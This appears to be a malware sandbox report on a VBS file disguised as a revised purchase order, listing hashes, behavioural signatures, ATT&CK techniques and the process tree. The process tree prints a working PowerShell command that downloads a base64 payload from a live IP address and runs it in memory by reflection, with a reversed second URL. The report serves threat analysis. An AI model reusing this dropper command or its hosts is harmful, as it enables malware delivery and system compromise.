613e915495416480491da381cc5e2041cfb0778c420b33c212a00722b15867e2

Analysis

max time kernel
47s
max time network
51s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
27-09-2022 19:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Revised PO-2022091803____________________________.vbs
Size

616KB
MD5

531d48ee259f8728f2713676002f9bfe
SHA1

47b7e7516490fbc50d2a97682d2e60989538fd07
SHA256

613e915495416480491da381cc5e2041cfb0778c420b33c212a00722b15867e2
SHA512

91bb0131f6e6fcedbd615eefb8cb4091174538588c7227d3a169708cb0592a6efee6fe43e8a1a54fc3e0076ef10133d439776d6ebcee215ce7a8069f0c6cc6b3
SSDEEP

192:hmKZ++C+Hm+5+E+/+S+u+a+2+J+Ca+I+Y+I+L+V+v+74+B+r+Y+c+Zc+w+Ife+qC:gcgZS

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/bug/dll_nostartup

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 2044 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2044 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2044 powershell.exe

flow	pid	process
3	2044	powershell.exe

pid	process
2044	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2044	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1060 wrote to memory of 2044	1060	WScript.exe	powershell.exe
PID 1060 wrote to memory of 2044	1060	WScript.exe	powershell.exe
PID 1060 wrote to memory of 2044	1060	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Revised PO-2022091803____________________________.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/bug/dll_nostartup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.lkghgjhgkjgfgytrtrts/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1060-54-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp

Filesize
8KB

Download
memory/2044-55-0x0000000000000000-mapping.dmp

Download
memory/2044-57-0x000007FEF4000000-0x000007FEF4A23000-memory.dmp

Filesize
10.1MB

Download
memory/2044-59-0x0000000002594000-0x0000000002597000-memory.dmp

Filesize
12KB

Download
memory/2044-58-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmp

Filesize
11.4MB

Download
memory/2044-60-0x000000000259B000-0x00000000025BA000-memory.dmp

Filesize
124KB

Download
memory/2044-61-0x0000000002594000-0x0000000002597000-memory.dmp

Filesize
12KB

Download
memory/2044-62-0x000000000259B000-0x00000000025BA000-memory.dmp

Filesize
124KB

Download